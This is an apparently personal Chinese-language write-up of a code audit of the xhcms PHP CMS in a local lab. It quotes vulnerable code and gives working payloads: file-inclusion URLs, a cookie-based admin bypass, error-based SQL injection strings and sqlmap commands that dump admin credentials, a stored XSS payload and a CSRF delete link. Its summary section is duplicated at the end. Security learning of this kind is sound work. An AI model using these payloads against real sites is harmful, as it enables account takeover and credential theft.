0x00 前言
做這次代碼審計的時候,距離看《代碼審計:企業級web代碼安全架構》一書已經過去了差不多一個月的時間了。藉着這次機會,開啓自己的代碼審計之旅吧!
0x01 seay自動審計
環境搭建
本地留了一份進行源碼審計,虛擬機win7下搭建作爲攻擊利用
本地審計
把cms丟進seay源代碼審計系統裏,先自動審計一番
發現34個可疑漏洞,接下來要做的就是逐一排查,以防誤報
0x02 可疑函數跟進
/index.php:文件包含
<?php
//單一入口模式
error_reporting(0); //關閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷爲空或者等於index
include('files/'.$action.'.php'); //載入相應文件
?>
-
代碼分析
參數r只有一個addslashes函數過濾,但對於文件包含來說並沒有什麼用。
-
嘗試利用
因爲包含的是files目錄下的文件,所以在files下新建shell.php,內容爲
<?php phpinfo();?>
,payload:192.168.115.130:8088/xhcms/?r=shell,成功包含。
-
PS:根目錄下新建shell.php也可以包含成功,不過需要進行目錄跳轉
payload:192.168.115.130:8088/xhcms/?r=…/shell
/admin/index.php:文件包含
- 同上,也存在文件包含漏洞
/admin/files/adset.php
require '../inc/checklogin.php'; //關鍵代碼摘要
require '../inc/conn.php';
$ad1=addslashes($_POST['ad1']); //全文追蹤
ad1='$ad1',
-
ad1、ad2、ad3三個變量被addslashes函數過濾因此不存在注入,屬於誤報
-
調用checklogin.php和conn.php兩個文件,跟進下去
/inc/checklogin.php:越權
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
-
代碼分析
檢查cookie中的user值,若爲空則跳轉到後臺登陸頁面
-
利用測試
url:192.168.115.130:8088/xhcms/admin/?r=adset
這是一個需要admin登陸的一個頁面,抓包添加user=1,爆破得到user值爲admin
proxy修改user=admin再放行,進入adset頁面並且爲管理員賬號登陸
由此可見,所有調用checklogin.php的文件都存在越權漏洞。
涵蓋範圍:admin/files目錄下除login.php和outlogin.php外所有頁面
/admin/files/login.php:SQL注入
關鍵代碼:
$login=$_POST['login']; //參數直接由POST獲取,無任何過濾
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$users = mysql_fetch_array($result);
$passwords=$users['password'];
if(md5($password)<>$passwords) //將輸入的password的md5值進行匹配
{
echo "<Script language=JavaScript>alert('抱歉,用戶名或者密碼錯誤。');history.back();</Script>";
exit;
}
-
mysql_query()函數執行一條 MySQL 查詢。
-
mysql_fetch_array()函數從結果集中取得一行作爲關聯數組,或數字數組。
-
執行的sql語句爲
SELECT * FROM manage WHERE user='$user'
-
這裏開啓了mysql_error(),可以進行報錯注入
-
賬號的猜解(請忽略之前所做的所有努力,直接上乾貨)
我的設想是用ASCII值對賬號進行猜解
' and exists(select * from manage)# //存在manage表 ' and exists(select user from manage)# //存在user列 ' and exists(select password from manage)# //存在password列 ' and ascii(substr((select user from manage limit 0,1),1,1))=97#
但是到了這一步卻無法猜解出賬號值,無奈之下上了sqlmap
抓包保存爲post.txt,然後用sqlmap的POST注入模塊日他。
sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user --current-db//爆當前數據庫 sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms --tables//爆表名 sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage --columns//爆列名 sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage -C "user,password" --dump//爆數據
剛開始:“我要手注到死!!!”,最後:“sqlmap真香啊~”
-
這裏貼一下看到的一個大佬的payload
1' or extractvalue(1,concat((select concat(0x7e,password) from manage)))# 1' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#
一次注入得到的md5值不全,兩次注入得到的md5值拼接一下就能得到正確的password
/admin/files/editcolumn.php
- 進入後臺之後,繼續跟進存在可疑漏洞的頁面
$id=$_GET['id'];
$type=$_GET['type']; //變量由GET直接得到,未做過濾
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs']; //變量由POST直接得到,未做過濾
對應以下表單的提交
這裏出了點意外,payload沒構造出來,感概一句自己的手工真的辣雞
繼續看後面的添加鏈接,也就是insert語句
/admin/files/newlink.php:SQL注入
關鍵代碼:
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
還是跟之前一樣,變量由POST直接得到,未做任何過濾
payload:' or updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0) or'
真的要好好學習手工注入,手注不是and 1=1就完事了的嗷!貼一下學習鏈接
Mysql報錯型注入:https://www.cnblogs.com/csyxf/p/10241456.html
admin/files/imageset.php
一個圖片上傳頁面,核心代碼如下
if(!empty($_FILES['images']['tmp_name']))
{
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判斷接收數據是否爲空
{
$tmp = new FileUpload_Single;
$upload="../upload/watermark";//圖片上傳的目錄,這裏是當前目錄下的upload目錄,可自已修改
$tmp -> accessPath =$upload;
if ($tmp -> TODO())
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
}
}
}
其中調用了/inc/up.class.php,來分析一下
var $defineTypeList="jpg|jpeg|gif|bmp|png";//定義白名單後綴名
function CheckFileMIMEType()//白名單檢測
{
$pass = false;
$defineTypeList = strtolower( $this ->defineTypeList);
$MIME = strtolower( $this -> GetFileMIME());
if (!empty ($defineTypeList))
{
if (!empty ($MIME))
{
foreach(explode("|",$defineTypeList) as $tmp)
{
if ($tmp == $MIME)
{
$pass = true;
}
}
}
else
{
return false;
}
}
else
{
return false;
}
return $pass;
}
function GetFileTypeToString()//取文件名後三位
{
if( ! empty( $this -> uploadFile[ 'name' ] ) )
{
return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );
}
}
幾個主要功能就是白名單檢測、文件大小檢測、對文件重命名,基本就杜絕了直接傳shell的可能
我自己的黑盒思路就是傳圖片馬配合文件包含食用,但我覺得真正的黑盒應該是沒辦法實現的
/admin/files/manageinfo.php:Stored XSS
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
參數由POST直接得到,無任何過濾
執行的sql語句爲
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
參數並沒有用htmlspecialchars()或htmlentities()函數過濾,這就造成儲存型xss,以下是payload
payload: <img src=1 onerror=alert(/xss/)>
這裏應該還是存在報錯注入的,不過跟前面一樣,payload沒構造出來
/admin/files/wzlist.php:CSRF
關鍵代碼:
$delete=$_GET['delete'];
if ($delete<>"")
{
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親,ID爲".$delete."的內容已經成功刪除!');location.href='?r=wzlist'</script>";
exit;
}
-
就只是簡單的GET一下delete的id,然後執行sql語句,並沒有token驗證
-
抓包分析一下刪除請求
請求url:http://192.168.115.130:8088/xhcms/admin/?r=wzlist&delete=3
- 管理員登陸狀態下點擊該鏈接,則刪除文章3
admin/files/softlist.php:CSRF
寫法如上,也存在CSRF漏洞
/files/index.php
接下來進入files文件夾,先分析index.php
第34行跳轉標籤<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>
包含了content.php,也就是第15個可疑漏洞的位置
/files/content.php:SQL注入
-
全文追蹤變量$id
可以看到$id被addslashes函數過濾,但是在第19行是這麼寫的
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
$id並沒有被單引號包裹,也就造成了sql注入
-
構造payload,成功利用
http://192.168.115.130:8088/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0)
-
繼續往下,第154行/?r=submit,繼續跟進
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
/files/submit.php:SQL注入
- 除了type其他均未過濾
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
- 以下是可利用的幾條sql語句
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
$query = "SELECT * FROM content WHERE( id= $cid)";
$query = "SELECT * FROM download WHERE( id= $cid)";
-
關聯文件
contact.php
software.php
files/software.php:SQL注入
$id=addslashes($_GET['cid']);
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
-
寫法跟前面的一樣,payload也同樣可以使用
-
關聯文件
downloads
files/downloads.php
全文追蹤結果顯示fileid被addslashes函數過濾,且sql語句中fileid被單引號包裹,不存在注入
seacmseditor/php/controller.php
if (isset($_GET["callback"]))
{
if (preg_match("/^[\w_]+$/", $_GET["callback"]))
{
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
}
else
{
echo json_encode(array('state'=> 'callback參數不合法'));
}
這裏在輸出的時候用htmlspecialchars函數將特殊字符轉換爲html實體,所以不存在xss,屬於誤報
整個文件夾下就是Ueditor富文本編輯器,也就不去深挖了
0x03 漏洞總結
越權及登陸繞過
- 位置:/inc/checklogin.php
- 影響範圍:所有調用此驗證的頁面
SQL Injection
- update語句報錯注入
- insert語句報錯注入
File Inclusion
- /index.php
- /admin/index.php
Stored XSS
- update語句參數未經過濾直接帶入查詢
- 影響範圍:留言板、評論及後臺信息設置
CSRF
- 後臺管理頁面無token驗證
- 影響範圍:update、delete等管理員操作
0x04 個人體會
-
cms審計及測試時的漏洞利用方法和靶場bypass姿勢千差萬別
-
手工!手工!!手工!!!真的太重要了,學不好payload都搞不出來
-
自己的一些心得:可疑函數追蹤、關聯文件分析以及一些常爆洞的功能模塊
-
真的很花時間,做完這一套cms審計大概花了5天時間,而光今天的收尾工作就從中午12點一直做到晚上8點
陸繞過 -
位置:/inc/checklogin.php
-
影響範圍:所有調用此驗證的頁面
SQL Injection
- update語句報錯注入
- insert語句報錯注入
File Inclusion
- /index.php
- /admin/index.php
Stored XSS
- update語句參數未經過濾直接帶入查詢
- 影響範圍:留言板、評論及後臺信息設置
CSRF
- 後臺管理頁面無token驗證
- 影響範圍:update、delete等管理員操作
0x04 個人體會
- cms審計及測試時的漏洞利用方法和靶場bypass姿勢千差萬別
- 手工!手工!!手工!!!真的太重要了,學不好payload都搞不出來
- 自己的一些心得:可疑函數追蹤、關聯文件分析以及一些常爆洞的功能模塊
- 真的很花時間,做完這一套cms審計大概花了5天時間,而光今天的收尾工作就從中午12點一直做到晚上8點
- 不難,真的不難,就是頭有點涼